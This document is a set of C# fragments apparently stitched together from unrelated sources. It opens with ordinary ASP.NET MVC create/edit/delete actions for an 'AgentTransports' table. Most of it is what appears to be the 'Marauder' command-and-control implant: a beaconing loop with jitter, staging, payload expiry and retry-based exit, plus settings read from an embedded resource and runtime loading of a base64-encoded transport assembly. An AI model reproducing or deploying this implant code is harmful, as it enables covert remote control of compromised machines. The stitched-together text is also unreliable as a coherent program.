public async Task <ActionResult> DeleteConfirmed(int id) { AgentTransport agentTransport = await db.AgentTransports.FindAsync(id); db.AgentTransports.Remove(agentTransport); await db.SaveChangesAsync(); return(RedirectToAction("Index")); }
public async Task <ActionResult> Edit([Bind(Include = "AgentTransportId,AgentName,Price")] AgentTransport agentTransport) { if (ModelState.IsValid) { db.Entry(agentTransport).State = EntityState.Modified; await db.SaveChangesAsync(); return(RedirectToAction("Index")); } return(View(agentTransport)); }
public async Task <ActionResult> Create([Bind(Include = "AgentTransportId,AgentName,Price")] AgentTransport agentTransport) { if (ModelState.IsValid) { db.AgentTransports.Add(agentTransport); await db.SaveChangesAsync(); return(RedirectToAction("Index")); } return(View(agentTransport)); }
// GET: AgentTransports/Delete/5 public async Task <ActionResult> Delete(int?id) { if (id == null) { return(new HttpStatusCodeResult(HttpStatusCode.BadRequest)); } AgentTransport agentTransport = await db.AgentTransports.FindAsync(id); if (agentTransport == null) { return(HttpNotFound()); } return(View(agentTransport)); }
public TaskResult SetPrimaryTransport(string transportName) { TaskResult resp = new TaskResult(); AgentTransport transport = Transports.FirstOrDefault(t => t.Name == transportName); if (transport != null) { PrimaryTransport = transport; resp.Success = true; resp.Message = String.Format("Primary Transport set to {0}", transportName); } else { resp.Success = false; resp.Message = String.Format("Could not set {0} as Primary Transport", transportName); } return(resp); }
public void AddTransport(AgentTransport transport) { Transports.Add(transport); }
public void Start() { while (true) { if (State.ExpirationDate.HasValue) { int result = DateTime.Compare(DateTime.Today, State.ExpirationDate.Value); if (result > 0) { #if DEBUG Logging.Write("TransportService", "Payload Expired. Exiting."); #endif Environment.Exit(0); } } #if DEBUG Logging.Write("TransportService", "Starting Loop.."); Logging.Write("TransportService", "Clearing Completed Tasks.."); #endif foreach (RunningTask task in State.RunningTasks.ToList()) { if (task.Task.IsFaulted) { TaskResult result = new TaskResult(); result.TaskName = task.TaskName; result.Success = false; result.Complete = true; if (String.IsNullOrEmpty(task.Task.Exception.InnerException.Message)) { result.Message = "Task encountered an error, but no error message is available"; } else { result.Message = task.Task.Exception.InnerException.Message; } State.ResultQueue.Add(result); } if (task.Task.IsCompleted) { State.RunningTasks.Remove(task); } } string message = ""; string response = ""; if (!String.IsNullOrEmpty(State.Name)) { message = State.CryptoService.CreateAgentMessage(); response = PrimaryTransport.Beacon(State.Name, message); } else { message = State.CryptoService.CreateStagingMessage(); string name = State.PayloadName; string id = State.StagingId; AgentTransport example = PrimaryTransport; response = PrimaryTransport.Stage(State.PayloadName, State.StagingId, message); } #if DEBUG Logging.Write("TransportService", $"Got response: {response.ToString()}"); #endif if (response == "ERROR") { Attempts++; if (Attempts > State.MaxAttempts) { Environment.Exit(0); } } else { if (String.IsNullOrEmpty(response)) { #if DEBUG Logging.Write("TransportService", "Empty message recieved"); #endif } else { #if DEBUG Logging.Write("TransportService", "Announcing Message.."); #endif OnMessageRecieved(this, new MessageRecievedArgs(response)); } } double sleep = State.Sleep; // Here we account for jitter if (State.Jitter > 0 && State.Jitter <= 1) { double offset = State.Sleep * State.Jitter; Random random = new Random(); double result = random.NextDouble() * (offset - (offset * -1)) + (offset * -1); sleep = sleep + result; } sleep = (sleep * 1000); #if DEBUG Logging.Write("TransportService", $"Sleeping for {Convert.ToInt32(sleep)} milliseconds"); #endif Thread.Sleep(Convert.ToInt32(sleep)); } }
static public void Start() { Stream settingsStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("Marauder.settings.json"); Dictionary <string, string> settings = JsonConvert.DeserializeObject <Dictionary <string, string> >((new StreamReader(settingsStream)).ReadToEnd()); State.PayloadName = settings["PayloadName"]; State.Password = settings["Password"]; State.InitialTransport = settings["Transport"]; State.Sleep = Int32.Parse(settings["BeaconInterval"]); State.Jitter = Double.Parse(settings["Jitter"]); if (!String.IsNullOrEmpty(settings["ExpirationDate"])) { State.ExpirationDate = DateTime.Parse(settings["ExpirationDate"]); } if (!String.IsNullOrEmpty(settings["Debug"])) { State.Debug = Boolean.Parse(settings["Debug"]); } State.MaxAttempts = 20; State.LastTaskName = null; #if DEBUG Console.Write(@" ███╗ ███╗ █████╗ ██████╗ █████╗ ██╗ ██╗██████╗ ███████╗██████╗ ████╗ ████║██╔══██╗██╔══██╗██╔══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ ██╔████╔██║███████║██████╔╝███████║██║ ██║██║ ██║█████╗ ██████╔╝ ██║╚██╔╝██║██╔══██║██╔══██╗██╔══██║██║ ██║██║ ██║██╔══╝ ██╔══██╗ ██║ ╚═╝ ██║██║ ██║██║ ██║██║ ██║╚██████╔╝██████╔╝███████╗██║ ██║ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ "); Console.WriteLine("Starting Marauder.."); Logging.Write("Main", String.Format("Creating Transport..")); #endif byte[] transportByte = Convert.FromBase64String(State.InitialTransport); Assembly transportAssembly = Assembly.Load(transportByte); Type transportType = transportAssembly.GetType("Faction.Modules.Dotnet.Common.Transport"); var activatedTransport = Activator.CreateInstance(transportType); AgentTransport initialTransport = (AgentTransport)activatedTransport; #if DEBUG Logging.Write("Main", $"Loaded Transport Type: {initialTransport.Name}"); #endif State.TransportService = new TransportService(); State.TransportService.AddTransport(initialTransport); State.TransportService.SetPrimaryTransport(initialTransport.Name); #if DEBUG Logging.Write("Main", "Creating Services.."); #endif State.CryptoService = new CryptoService(); State.CommandService = new CommandService(); #if DEBUG Logging.Write("Main", "Loading Commands.."); #endif State.CommandService.AvailableCommands.Add(new TasksCommand()); State.CommandService.AvailableCommands.Add(new ExitCommand()); #if DEBUG Logging.Write("Main", "Starting Marauder Loop.."); #endif State.TransportService.Start(); }